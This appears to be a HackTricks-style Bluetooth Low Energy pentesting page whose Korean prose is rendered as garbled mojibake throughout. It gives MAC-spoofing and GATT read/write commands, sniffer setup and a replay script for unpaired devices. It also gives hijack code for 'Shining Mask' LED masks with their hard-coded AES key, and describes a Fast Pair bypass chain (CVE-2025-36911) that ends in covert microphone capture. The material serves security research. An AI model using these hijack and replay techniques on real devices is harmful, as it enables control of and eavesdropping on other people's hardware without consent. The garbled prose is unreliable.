Pentesting BLE - Bluetooth Low Energy

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์†Œ๊ฐœ

Bluetooth 4.0 ์‚ฌ์–‘ ์ดํ›„ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•˜๋ฉฐ, BLE๋Š” 2400์—์„œ 2483.5 MHz ๋ฒ”์œ„๋ฅผ ์ปค๋ฒ„ํ•˜๋Š” 40๊ฐœ ์ฑ„๋„๋งŒ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋ฉด ๊ธฐ์กด Bluetooth๋Š” ๊ฐ™์€ ๋ฒ”์œ„์—์„œ 79๊ฐœ ์ฑ„๋„์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

BLE ์žฅ์น˜๋Š” advertising packets (beacons)๋ฅผ ์ „์†กํ•˜์—ฌ ํ†ต์‹ ํ•ฉ๋‹ˆ๋‹ค. ์ด ํŒจํ‚ท๋“ค์€ ์ฃผ๋ณ€ ์žฅ์น˜๋“ค์—๊ฒŒ BLE ์žฅ์น˜์˜ ์กด์žฌ๋ฅผ ๋ธŒ๋กœ๋“œ์บ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค. ์ด beacons๋Š” ๋•Œ๋•Œ๋กœ send data๋„ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

์ˆ˜์‹  ์žฅ์น˜(๋˜๋Š” central device)๋Š” ํŠน์ • advertising ์žฅ์น˜๋กœ ์ง์ ‘ ์ „์†ก๋˜๋Š” SCAN request๋กœ advertising packet์— ์‘๋‹ตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ ์Šค์บ”์— ๋Œ€ํ•œ response๋Š” advertising packet๊ณผ ๋™์ผํ•œ ๊ตฌ์กฐ๋ฅผ ์‚ฌ์šฉํ•˜์ง€๋งŒ ์ดˆ๊ธฐ advertising request์— ๋“ค์–ด๊ฐ€์ง€ ๋ชปํ•œ ์ถ”๊ฐ€ ์ •๋ณด(์˜ˆ: ์ „์ฒด ์žฅ์น˜ ์ด๋ฆ„)๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

preamble byte๋Š” ์ฃผํŒŒ์ˆ˜ ๋™๊ธฐํ™”๋ฅผ ๋‹ด๋‹นํ•˜๋ฉฐ, 4๋ฐ”์ดํŠธ access address๋Š” connection identifier๋กœ, ์—ฌ๋Ÿฌ ์žฅ์น˜๊ฐ€ ๋™์ผ ์ฑ„๋„์—์„œ ์—ฐ๊ฒฐ์„ ์‹œ๋„ํ•  ๋•Œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋‹ค์Œ Protocol Data Unit (PDU)์—๋Š” advertising data๊ฐ€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค. PDU์—๋Š” ์—ฌ๋Ÿฌ ํƒ€์ž…์ด ์žˆ์œผ๋ฉฐ, ๊ฐ€์žฅ ์ผ๋ฐ˜์ ์œผ๋กœ ์‚ฌ์šฉ๋˜๋Š” ๊ฒƒ์€ ADV_NONCONN_IND์™€ ADV_IND์ž…๋‹ˆ๋‹ค. ์žฅ์น˜๋Š” ADV_NONCONN_IND PDU ํƒ€์ž…์„ ์‚ฌ์šฉํ•˜๋ฉด donโ€™t accept connections ์ƒํƒœ๋กœ ๊ด‘๊ณ  ํŒจํ‚ท์—์„œ๋งŒ ๋ฐ์ดํ„ฐ๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค. ์žฅ์น˜๋Š” ADV_IND๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด allow connections ์ƒํƒœ์ด๊ณ , connection์ด established๋˜๋ฉด stop sending advertising ํŒจํ‚ท์„ ์ค‘๋‹จํ•ฉ๋‹ˆ๋‹ค.

GATT

The Generic Attribute Profile (GATT)๋Š” device๊ฐ€ ๋ฐ์ดํ„ฐ์˜ ํ˜•์‹๊ณผ ์ „์†ก ๋ฐฉ์‹์„ ์ •์˜ํ•ฉ๋‹ˆ๋‹ค. BLE ์žฅ์น˜์˜ ๊ณต๊ฒฉ ํ‘œ๋ฉด์„ ๋ถ„์„ํ•  ๋•Œ GATT(๋˜๋Š” GATTs)์— ์ฃผ๋กœ ์ฃผ๋ชฉํ•˜๊ฒŒ ๋˜๋Š”๋ฐ, ์ด๋Š” ์žฅ์น˜์˜ ๊ธฐ๋Šฅ์ด ์–ด๋–ป๊ฒŒ ํŠธ๋ฆฌ๊ฑฐ๋˜๋Š”์ง€์™€ ๋ฐ์ดํ„ฐ๊ฐ€ ์–ด๋–ป๊ฒŒ ์ €์žฅยท๊ทธ๋ฃนํ™”ยท์ˆ˜์ •๋˜๋Š”์ง€๋ฅผ ๋ณด์—ฌ์ฃผ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. GATT๋Š” ์žฅ์น˜์˜ characteristics, descriptors, ๊ทธ๋ฆฌ๊ณ  services๋ฅผ 16๋น„ํŠธ ๋˜๋Š” 32๋น„ํŠธ ๊ฐ’์œผ๋กœ ํ‘œ ํ˜•ํƒœ๋กœ ๋‚˜์—ดํ•ฉ๋‹ˆ๋‹ค. characteristic์€ central device์™€ peripheral ์‚ฌ์ด์— ์ „์†ก๋˜๋Š” data ๊ฐ’์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ characteristics๋Š” ํ•ด๋‹น ํ•ญ๋ชฉ์— ๋Œ€ํ•œ ์ถ”๊ฐ€ ์ •๋ณด๋ฅผ provideํ•˜๋Š” descriptors๋ฅผ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ด€๋ จ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๋Š” ๊ฒฝ์šฐ characteristics๋Š” ์ข…์ข… services์— grouped๋ฉ๋‹ˆ๋‹ค.

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool์€ ๋‹ค๋ฅธ ์žฅ์น˜์™€์˜ connection์„ establishํ•˜์—ฌ ํ•ด๋‹น ์žฅ์น˜์˜ characteristics๋ฅผ ๋‚˜์—ดํ•˜๊ณ  ์†์„ฑ์„ ์ฝ๊ณ  ์“ธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
GATTTool์€ -I ์˜ต์…˜์œผ๋กœ interactive shell์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

GATTTool interactive usage and examples ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]

Write data

gatttool -i -b โ€“char-write-req -n gatttool -b a4:cf:12:6c:b3:76 โ€“char-write-req -a 0x002e -n $(echo -n โ€œ04dc54d9053b4307680aโ€|xxd -ps)

Read data

gatttool -i -b โ€“char-read -a 0x16

Read connecting with an authenticated encrypted connection

gatttool โ€“sec-level=high -b a4:cf:12:6c:b3:76 โ€“char-read -a 0x002c

</details>

### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

ํŽ˜์–ด๋ง๋˜์ง€ ์•Š์€ BLE ์žฅ์น˜ ์Šค๋‹ˆํ•‘ ๋ฐ ๋Šฅ๋™ ์ œ์–ด

๋งŽ์€ ์ €๊ฐ€ํ˜• BLE ์ฃผ๋ณ€ ์žฅ์น˜๋Š” pairing/bonding์„ ๊ฐ•์ œํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค. bonding์ด ์—†์œผ๋ฉด Link Layer encryption์ด ํ™œ์„ฑํ™”๋˜์ง€ ์•Š์•„ ATT/GATT ํŠธ๋ž˜ํ”ฝ์ด ํ‰๋ฌธ์œผ๋กœ ์ „์†ก๋ฉ๋‹ˆ๋‹ค. ์˜คํ”„-ํŒจ์Šค sniffer๋Š” ์—ฐ๊ฒฐ์„ ์ถ”์ ํ•˜๊ณ  GATT operations๋ฅผ ๋””์ฝ”๋”ฉํ•˜์—ฌ characteristic handles์™€ values๋ฅผ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ทผ์ฒ˜์˜ ํ˜ธ์ŠคํŠธ๊ฐ€ ์—ฐ๊ฒฐํ•œ ํ›„ ํ•ด๋‹น ์“ฐ๊ธฐ ๋™์ž‘์„ ์žฌ์ƒ(replay)ํ•˜์—ฌ ์žฅ์น˜๋ฅผ ์ œ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Sniffle๋กœ ์Šค๋‹ˆํ•‘ (CC26x2/CC1352)

ํ•˜๋“œ์›จ์–ด: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352)์— NCC Group์˜ Sniffle firmware๋ฅผ ์žฌํ”Œ๋ž˜์‹œํ•จ.

Linux์— Sniffle ๋ฐ Wireshark extcap ์„ค์น˜:

Sniffle extcap ์„ค์น˜ (Linux) ```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```

Flash Sonoff with Sniffle firmware (์‹œ๋ฆฌ์–ผ ์žฅ์น˜๊ฐ€ ์ผ์น˜ํ•˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”, ์˜ˆ: /dev/ttyUSB0):

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Sniffle extcap์„ ํ†ตํ•ด Wireshark์—์„œ ์บก์ฒ˜ํ•˜๊ณ , ํ•„ํ„ฐ๋ง์œผ๋กœ state-changing writes๋กœ ๋น ๋ฅด๊ฒŒ pivotํ•˜์„ธ์š”:

_ws.col.info contains "Sent Write Command"

์ด๋Š” ํด๋ผ์ด์–ธํŠธ์˜ ATT Write Commands๋ฅผ ๊ฐ•์กฐํ•ฉ๋‹ˆ๋‹ค; handle๊ณผ value๋Š” ์ข…์ข… ์žฅ์น˜ ๋™์ž‘์— ์ง์ ‘ ๋งคํ•‘๋ฉ๋‹ˆ๋‹ค(์˜ˆ: write 0x01 to a buzzer/alert characteristic, 0x00 to stop).

Sniffle CLI ๋น ๋ฅธ ์˜ˆ์ œ:

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

๋Œ€์ฒด sniffer: Nordicโ€™s nRF Sniffer for BLE + Wireshark plugin๋„ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์†Œํ˜•/์ €๊ฐ€ Nordic dongles์—์„œ๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ USB bootloader๋ฅผ ๋ฎ์–ด์จ์„œ sniffer firmware๋ฅผ ๋กœ๋“œํ•˜๋ฏ€๋กœ, ์ „์šฉ sniffer dongle์„ ์œ ์ง€ํ•˜๊ฑฐ๋‚˜ ๋‚˜์ค‘์— bootloader๋ฅผ ๋ณต์›ํ•˜๊ธฐ ์œ„ํ•ด J-Link/JTAG๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

GATT๋ฅผ ํ†ตํ•œ ๋Šฅ๋™ ์ œ์–ด

sniffed traffic์—์„œ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ writable characteristic handle๊ณผ value๋ฅผ ์‹๋ณ„ํ•œ ํ›„, ์•„๋ฌด central๋กœ ์—ฐ๊ฒฐํ•ด ๋™์ผํ•œ write๋ฅผ ์ˆ˜ํ–‰ํ•˜์„ธ์š”:

  • With Nordic nRF Connect for Desktop (BLE app):

  • Select the nRF52/nRF52840 dongle, scan and connect to the target.

  • Browse the GATT database, locate the target characteristic (often has a friendly name, e.g., Alert Level).

  • Perform a Write with the sniffed bytes (e.g., 01 to trigger, 00 to stop).

  • Automate on Windows with a Nordic dongle using Python + blatann:

Python blatann write ์˜ˆ์ œ (Windows + Nordic dongle) ```python import time import blatann

CONFIG

COM_PORT = โ€œCOM29โ€ # Replace with your COM port TARGET_MAC = โ€œ5B:B1:7F:47:A7:00โ€ # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + โ€œ,pโ€)

CONNECT

ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(fโ€œ[-] Connecting to {TARGET_MAC}โ€ฆโ€œ) peer = ble_device.connect(target_address).wait() if not peer: print(โ€[!] Connection failed.โ€œ) ble_device.close() raise SystemExit(1)

print(โ€œConnected. Discovering servicesโ€ฆโ€) peer.discover_services().wait(5, exception_on_timeout=False)

Example: write 0x01/0x00 to a known handle

for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(โ€œ[!] Beeping.โ€) ch.write(bโ€œ\x01โ€œ) time.sleep(2) print(โ€œ[+] And relax.โ€) ch.write(bโ€œ\x00โ€œ)

print(โ€œ[-] Disconnectingโ€ฆโ€) peer.disconnect() peer.wait_for_disconnect() ble_device.close()

</details>

### ์‚ฌ๋ก€ ์—ฐ๊ตฌ: hijacking BLE LED masks (Shining Mask family)

Cheap, whiteโ€‘labeled BLE LED masks controlled by the โ€œShining Maskโ€ app accept write control from any nearby central with no pairing/bonding. The app talks GATT to a command characteristic and a data characteristic; commands are AESโ€‘ECB encrypted with a static key hardโ€‘coded in the app, while bulk image data is unencrypted.

Key UUIDs on these devices:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a

์ธ์ฆ๋˜์ง€ ์•Š์€ GATT ์“ฐ๊ธฐ
- ํŽ˜์–ด๋ง/๋ฐ”์ธ๋”ฉ ๋ถˆํ•„์š”. Any host can connect and write to the command UUID to change brightness, select images, start animations, etc.
- ๊ด€์ฐฐ๋œ ์ผ๋ฐ˜์ ์ธ ๋™์ž‘: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).

๊ณ ์ • ํ‚ค AES ๋ช…๋ น ํ”„๋ ˆ์ด๋ฐ
- Frame = 1โ€‘byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AESโ€‘ECB encrypt with static key from the app.
- Known static key (hex): 32672f7974ad43451d9c6c894a0e8764

Python helper to encrypt and send a command (example: set max brightness):
```python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

์ด๋ฏธ์ง€ ์—…๋กœ๋“œ ํ๋ฆ„

  • ์•”ํ˜ธํ™”๋œ DATS ํ•ธ๋“œ์…ฐ์ดํฌ ํ›„, raw chunks๋Š” data characteristic โ€ฆ960a์— ์•”ํ˜ธํ™”๋˜์ง€ ์•Š์€ ์ƒํƒœ๋กœ ๊ธฐ๋ก๋œ๋‹ค.
  • ํŒจํ‚ท ํ˜•์‹: [len][seq][payload]. ๊ฒฝํ—˜์ ์œผ๋กœ ํŒจํ‚ท๋‹น ~100 bytes payload๊ฐ€ ์•ˆ์ •์ ์œผ๋กœ ๋™์ž‘ํ•œ๋‹ค.
Minimal image upload pseudo-code ```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify char

Stream raw chunks (unencrypted) to โ€ฆ960a: [len][seq][payload]

seq = 0 CHUNK = 98 # data bytes per packet (โ‰ˆ100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1

Optionally signal completion if firmware expects it (e.g., DATCP)

</details>

### Fast Pair (0xFE2C) Key-Based Pairing signature bypass (WhisperPair/CVE-2025-36911)

- **๋ฐœ๊ฒฌ:** BLE ๊ด‘๊ณ ์—์„œ **service UUID 0xFE2C** (Google Fast Pair)๋ฅผ ์Šค์บ”ํ•ฉ๋‹ˆ๋‹ค. ํŽ˜์–ด๋ง ๋ชจ๋“œ์— ์žˆ๋Š” ๋””๋ฐ”์ด์Šค๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ํŽ˜์–ด๋ง ๋ฐฐ์ง€๋ฅผ ๋…ธ์ถœํ•˜๋ฉฐ, ํŽ˜์–ด๋ง ๋ชจ๋“œ๊ฐ€ ์•„๋‹ˆ๋”๋ผ๋„ Fast Pair ์„œ๋น„์Šค๋Š” GATT์— ์‘๋‹ตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
- **๋น„์นจ์Šต์  ํƒ์ง€(์„œ๋ช… ์ ์šฉ ํ™•์ธ):**
1. GATT๋กœ Fast Pair ์„œ๋น„์Šค์— **connect**ํ•˜๊ณ  **Model ID๋ฅผ read**ํ•ฉ๋‹ˆ๋‹ค.
2. **์„œ๋ช… ์—†์ด Key-Based Pairing (KBP) ๊ฐ’์„ write**ํ•ฉ๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์ฃผ๋ณ€์žฅ์น˜๊ฐ€ ์„œ๋ช… ์—†๋Š” KBP write๋ฅผ ๋ฐ›์•„๋“ค์ด๋ฉด signature-bypass(WhisperPair/CVE-2025-36911)์— ์ทจ์•ฝํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ฑฐ๋ถ€ํ•˜๋ฉด ํŒจ์น˜๋œ ๊ฒƒ์ด๊ณ , ์ด๋ฏธ ํŽ˜์–ด๋ง๋˜์–ด ์žˆ๋Š” ๊ฒฝ์šฐ์—๋Š” ์‹คํŒจ๊ฐ€ ๊ฒฐ๋ก ์„ ๋‚ด๊ธฐ ์–ด๋ ค์šธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
- **BLE โ†’ BR/EDR pivot:** **KBP Request**๋ฅผ ์ „์†กํ•˜๊ณ  **์•”ํ˜ธํ™”๋œ response**๋ฅผ ํŒŒ์‹ฑํ•˜์—ฌ ๋Œ€์ƒ์˜ **BR/EDR address**๋ฅผ ๋ณต์›ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ classic bonding ํ˜ธ์ถœ(์˜ˆ: Android **`createBond(<BR/EDR address>)`**)์„ ์‚ฌ์šฉํ•ด ๋ฌด๋‹จ ํŽ˜์–ด๋ง์„ ์™„๋ฃŒํ•ฉ๋‹ˆ๋‹ค. ์ง€์›๋˜๋Š” ๊ฒฝ์šฐ **Account Key**๋ฅผ ์ž‘์„ฑํ•˜๋ฉด ์—ฐ๊ด€์ด ์ง€์†๋ฉ๋‹ˆ๋‹ค.
- **Post-bond ๋งˆ์ดํฌ ๋‚จ์šฉ:** Bonding ํ›„ **HFP**๋ฅผ ์—ด๊ณ  **SCO audio**๋ฅผ ์‹œ์ž‘ํ•˜๋ฉด ์‹ค์‹œ๊ฐ„ ๋งˆ์ดํฌ ์ŠคํŠธ๋ฆผ์„ ์ˆ˜์‹ /๋…น์Œ(์˜ˆ: M4A๋กœ ์ €์žฅ)ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ฒด์ธ์€ ์„œ๋ช… ์—†๋Š” KBP ์ˆ˜์šฉ์„ ์‚ฌ์šฉ์ž ๋™์˜ ์—†์ด ์›๊ฒฉ ์˜ค๋””์˜ค ์บก์ฒ˜๋กœ ์ „ํ™˜ํ•ฉ๋‹ˆ๋‹ค.
- **ํƒ์ƒ‰/๊ฐ์ง€:** Fast Pair GATT ํŠธ๋ž˜ํ”ฝ ์งํ›„ KBP์—์„œ ๋ฐ˜ํ™˜๋œ BR/EDR ์ฃผ์†Œ๋กœ ํ–ฅํ•˜๋Š” classic **bonding ์‹œ๋„**์™€ ์„œ๋ช…์ด ์—†๋Š” KBP write๋ฅผ ์ฐพ์•„๋ณด์„ธ์š”. KBP์— ๋Œ€ํ•œ ์„œ๋ช… ๊ฒ€์ฆ์„ ๊ฐ•์ œํ•˜๊ณ  ์‚ฌ์šฉ์ž ํ™•์ธ ํŽ˜์–ด๋ง์„ ์š”๊ตฌํ•˜๋ฉด ์ด ์—ฐ์‡„๋ฅผ ์ฐจ๋‹จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

## Operational notes

- ์ฑ„๋„ ํ˜ธํ•‘๊ณผ ์—ฐ๊ฒฐ ์ถ”์ ์— ์•ˆ์ •์ ์ธ ํ™˜๊ฒฝ์„ ์œ„ํ•ด Linux์—์„œ Sonoff+Sniffle์„ ์„ ํ˜ธํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋น„๋กœ Nordic sniffer๋ฅผ ํ•˜๋‚˜ ๋” ์ค€๋น„ํ•ด ๋‘์„ธ์š”.
- ํŽ˜์–ด๋ง/๋ณธ๋”ฉ์ด ์—†์œผ๋ฉด ๊ทผ์ฒ˜์˜ ๊ณต๊ฒฉ์ž๋Š” writable characteristic์— ๋Œ€ํ•œ write๋ฅผ ๊ด€์ฐฐํ•˜๊ณ  ์žฌ์ƒ/์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

## References

- [WPair โ€” CVE-2025-36911 (WhisperPair) vulnerability scanner & research tool](https://github.com/zalexdev/wpair-app)
- [Start hacking Bluetooth Low Energy today! (part 2) โ€“ Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle โ€“ A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann โ€“ Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)

> [!TIP]
> AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricks ์ง€์›ํ•˜๊ธฐ</summary>
>
> - [**๊ตฌ๋… ๊ณ„ํš**](https://github.com/sponsors/carlospolop) ํ™•์ธํ•˜๊ธฐ!
> - **๐Ÿ’ฌ [**๋””์Šค์ฝ”๋“œ ๊ทธ๋ฃน**](https://discord.gg/hRep4RUj7f) ๋˜๋Š” [**ํ…”๋ ˆ๊ทธ๋žจ ๊ทธ๋ฃน**](https://t.me/peass)์— ์ฐธ์—ฌํ•˜๊ฑฐ๋‚˜ **ํŠธ์œ„ํ„ฐ** ๐Ÿฆ [**@hacktricks_live**](https://twitter.com/hacktricks_live)**๋ฅผ ํŒ”๋กœ์šฐํ•˜์„ธ์š”.**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks) ๋ฐ [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) ๊นƒํ—ˆ๋ธŒ ๋ฆฌํฌ์ง€ํ† ๋ฆฌ์— PR์„ ์ œ์ถœํ•˜์—ฌ ํ•ดํ‚น ํŠธ๋ฆญ์„ ๊ณต์œ ํ•˜์„ธ์š”.**
>
> </details>